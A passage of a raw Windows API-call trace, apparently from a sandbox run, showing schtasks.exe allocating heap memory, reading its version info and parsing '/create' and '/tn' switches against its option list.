MemoryPointer=0x1685a9bbad0) returned 0x20 [0133.007] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbad0) returned 1 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.007] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4770) returned 1 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.007] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4770) returned 0x8 [0133.007] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4770) returned 1 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.007] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb6b0) returned 1 [0133.007] GetProcessHeap () returned 0x1685a9b0000 [0133.008] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb6b0) returned 0x20 [0133.008] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb6b0) returned 1 [0133.008] GetProcessHeap () returned 0x1685a9b0000 [0133.008] GetProcessHeap () returned 0x1685a9b0000 [0133.008] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b3ba0) returned 1 [0133.008] GetProcessHeap () returned 0x1685a9b0000 [0133.008] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b3ba0) returned 0x56 [0133.009] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b3ba0) returned 1 [0133.009] GetProcessHeap () returned 0x1685a9b0000 [0133.009] GetProcessHeap () returned 0x1685a9b0000 [0133.009] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb4a0) returned 1 [0133.009] GetProcessHeap () returned 0x1685a9b0000 [0133.009] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb4a0) returned 0x20 [0133.009] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb4a0) returned 1 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b3c00) returned 1 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b3c00) returned 0x6 [0133.039] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b3c00) returned 1 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bb380) returned 1 [0133.039] GetProcessHeap () returned 0x1685a9b0000 [0133.039] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bb380) returned 0x20 [0133.040] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bb380) returned 1 [0133.043] GetProcessHeap () returned 0x1685a9b0000 [0133.043] GetProcessHeap () returned 0x1685a9b0000 [0133.043] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4e90) returned 1 [0133.043] GetProcessHeap () returned 0x1685a9b0000 [0133.043] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4e90) returned 0x18 [0133.043] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4e90) returned 1 [0133.044] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.044] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0133.044] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0133.044] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0133.044] RtlVerifyVersionInfo (VersionInfo=0x22531ac6f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0133.044] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.044] lstrlenW (lpString="create") returned 6 [0133.044] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0133.044] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.044] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.044] lstrlenW (lpString="create") returned 6 [0133.044] GetProcessHeap () returned 0x1685a9b0000 [0133.044] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bbad0 [0133.044] GetProcessHeap () returned 0x1685a9b0000 [0133.044] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9ba900 [0133.044] _memicmp (_Buf1=0x1685a9ba900, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.044] GetProcessHeap () returned 0x1685a9b0000 [0133.044] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x16) returned 0x1685a9ba8c0 [0133.045] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.045] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.045] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1685a9b9b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0133.045] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x22531ac848 | out: lpdwHandle=0x22531ac848) returned 0x76c [0133.045] GetProcessHeap () returned 0x1685a9b0000 [0133.045] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x776) returned 0x1685a9bbd50 [0133.046] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1685a9bbd50 | out: lpData=0x1685a9bbd50) returned 1 [0133.046] VerQueryValueW (in: pBlock=0x1685a9bbd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x22531ac7e0, puLen=0x22531ac840 | out: lplpBuffer=0x22531ac7e0*=0x1685a9bc100, puLen=0x22531ac840) returned 1 [0133.046] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.046] _vsnwprintf (in: _Buffer=0x1685a9b9b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x22531ac7b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0133.046] VerQueryValueW (in: pBlock=0x1685a9bbd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x22531ac7d0, puLen=0x22531ac838 | out: lplpBuffer=0x22531ac7d0*=0x1685a9bbf30, puLen=0x22531ac838) returned 1 [0133.046] lstrlenW (lpString="schtasks.exe") returned 12 [0133.046] lstrlenW (lpString="schtasks.exe") returned 12 [0133.046] lstrlenW (lpString=".EXE") returned 4 [0133.046] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0133.046] lstrlenW (lpString="schtasks.exe") returned 12 [0133.046] lstrlenW (lpString=".EXE") returned 4 [0133.046] lstrlenW (lpString="schtasks") returned 8 [0133.046] lstrlenW (lpString="/create") returned 7 [0133.046] _memicmp (_Buf1=0x1685a9b4c30, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.046] _vsnwprintf (in: _Buffer=0x1685a9b9b10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x22531ac7b8 | out: _Buffer="schtasks /create") returned 16 [0133.046] _memicmp (_Buf1=0x1685a9b4c50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.046] GetProcessHeap () returned 0x1685a9b0000 [0133.046] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb3e0 [0133.046] _memicmp (_Buf1=0x1685a9b4c70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.047] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1685a9bbb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0133.047] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0133.047] GetProcessHeap () returned 0x1685a9b0000 [0133.047] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x30) returned 0x1685a9b46f0 [0133.047] _vsnwprintf (in: _Buffer=0x1685a9b3870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x22531ac7b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0133.047] GetProcessHeap () returned 0x1685a9b0000 [0133.047] GetProcessHeap () returned 0x1685a9b0000 [0133.047] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9bbd50) returned 1 [0133.047] GetProcessHeap () returned 0x1685a9b0000 [0133.047] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9bbd50) returned 0x776 [0133.047] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9bbd50) returned 1 [0133.048] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="create") returned 6 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="?") returned 1 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="s") returned 1 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="u") returned 1 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="p") returned 1 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="ru") returned 2 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="rp") returned 2 [0133.048] GetThreadLocale () returned 0x409 [0133.048] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.048] lstrlenW (lpString="sc") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="mo") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="d") returned 1 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="m") returned 1 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="i") returned 1 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="tn") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="tr") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="st") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="sd") returned 2 [0133.049] GetThreadLocale () returned 0x409 [0133.049] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.049] lstrlenW (lpString="ed") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="it") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="et") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="k") returned 1 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="du") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="ri") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="z") returned 1 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="f") returned 1 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="v1") returned 2 [0133.050] GetThreadLocale () returned 0x409 [0133.050] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.050] lstrlenW (lpString="xml") returned 3 [0133.051] GetThreadLocale () returned 0x409 [0133.051] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.051] lstrlenW (lpString="ec") returned 2 [0133.051] GetThreadLocale () returned 0x409 [0133.051] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.051] lstrlenW (lpString="rl") returned 2 [0133.051] GetThreadLocale () returned 0x409 [0133.051] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.051] lstrlenW (lpString="delay") returned 5 [0133.051] GetThreadLocale () returned 0x409 [0133.051] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.051] lstrlenW (lpString="np") returned 2 [0133.051] GetThreadLocale () returned 0x409 [0133.051] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.051] lstrlenW (lpString="hresult") returned 7 [0133.051] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.051] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.051] lstrlenW (lpString="/create") returned 7 [0133.051] lstrlenW (lpString="-/") returned 2 [0133.051] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.051] lstrlenW (lpString="create") returned 6 [0133.051] lstrlenW (lpString="create") returned 6 [0133.051] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.051] lstrlenW (lpString="create") returned 6 [0133.051] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.052] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.052] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.052] lstrlenW (lpString="|create|") returned 8 [0133.052] lstrlenW (lpString="|create|") returned 8 [0133.052] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0133.052] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.052] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.052] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.052] lstrlenW (lpString="/tn") returned 3 [0133.052] lstrlenW (lpString="-/") returned 2 [0133.052] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.052] lstrlenW (lpString="create") returned 6 [0133.052] lstrlenW (lpString="create") returned 6 [0133.052] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.052] lstrlenW (lpString="tn") returned 2 [0133.052] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.052] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.052] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.052] lstrlenW (lpString="|create|") returned 8 [0133.052] lstrlenW (lpString="|tn|") returned 4 [0133.052] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0133.052] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.052] lstrlenW (lpString="?") returned 1 [0133.052] lstrlenW (lpString="?") returned 1 [0133.052] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.053] lstrlenW (lpString="tn") returned 2 [0133.053] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.053] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|?|") returned 3 [0133.053] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.053] lstrlenW (lpString="|?|") returned 3 [0133.053] lstrlenW (lpString="|tn|") returned 4 [0133.053] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.053] lstrlenW (lpString="s") returned 1 [0133.053] lstrlenW (lpString="s") returned 1 [0133.053] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.053] lstrlenW (lpString="tn") returned 2 [0133.053] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.053] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|s|") returned 3 [0133.053] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.053] lstrlenW (lpString="|s|") returned 3 [0133.053] lstrlenW (lpString="|tn|") returned 4 [0133.053] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.053] lstrlenW (lpString="u") returned 1 [0133.053] lstrlenW (lpString="u") returned 1 [0133.053] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.053] lstrlenW (lpString="tn") returned 2 [0133.053] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|u|") returned 3 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.054] lstrlenW (lpString="|u|") returned 3 [0133.054] lstrlenW (lpString="|tn|") returned 4 [0133.054] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.054] lstrlenW (lpString="p") returned 1 [0133.054] lstrlenW (lpString="p") returned 1 [0133.054] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.054] lstrlenW (lpString="tn") returned 2 [0133.054] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|p|") returned 3 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.054] lstrlenW (lpString="|p|") returned 3 [0133.054] lstrlenW (lpString="|tn|") returned 4 [0133.054] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.054] lstrlenW (lpString="ru") returned 2 [0133.054] lstrlenW (lpString="ru") returned 2 [0133.054] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.054] lstrlenW (lpString="tn") returned 2 [0133.054] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ru|") returned 4 [0133.054] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.054] lstrlenW (lpString="|ru|") returned 4 [0133.055] lstrlenW (lpString="|tn|") returned 4 [0133.055] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0133.055] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.055] lstrlenW (lpString="rp") returned 2 [0133.055] lstrlenW (lpString="rp") returned 2 [0133.055] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.055] lstrlenW (lpString="tn") returned 2 [0133.055] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.055] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|rp|") returned 4 [0133.055] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.055] lstrlenW (lpString="|rp|") returned 4 [0133.055] lstrlenW (lpString="|tn|") returned 4 [0133.055] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0133.055] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.055] lstrlenW (lpString="sc") returned 2 [0133.055] lstrlenW (lpString="sc") returned 2 [0133.055] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.055] lstrlenW (lpString="tn") returned 2 [0133.055] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.055] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.055] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.055] lstrlenW (lpString="|sc|") returned 4 [0133.055] lstrlenW (lpString="|tn|") returned 4 [0133.056] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0133.056] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.056] lstrlenW (lpString="mo") returned 2 [0133.056] lstrlenW (lpString="mo") returned 2 [0133.056] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.056] lstrlenW (lpString="tn") returned 2 [0133.056] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.056] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.056] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.056] lstrlenW (lpString="|mo|") returned 4 [0133.056] lstrlenW (lpString="|tn|") returned 4 [0133.056] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0133.056] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.056] lstrlenW (lpString="d") returned 1 [0133.056] lstrlenW (lpString="d") returned 1 [0133.059] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.059] lstrlenW (lpString="tn") returned 2 [0133.059] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.059] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|d|") returned 3 [0133.059] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.059] lstrlenW (lpString="|d|") returned 3 [0133.059] lstrlenW (lpString="|tn|") returned 4 [0133.059] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.059] lstrlenW (lpString="m") returned 1 [0133.059] lstrlenW (lpString="m") returned 1 [0133.059] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.059] lstrlenW (lpString="tn") returned 2 [0133.060] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|m|") returned 3 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.060] lstrlenW (lpString="|m|") returned 3 [0133.060] lstrlenW (lpString="|tn|") returned 4 [0133.060] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.060] lstrlenW (lpString="i") returned 1 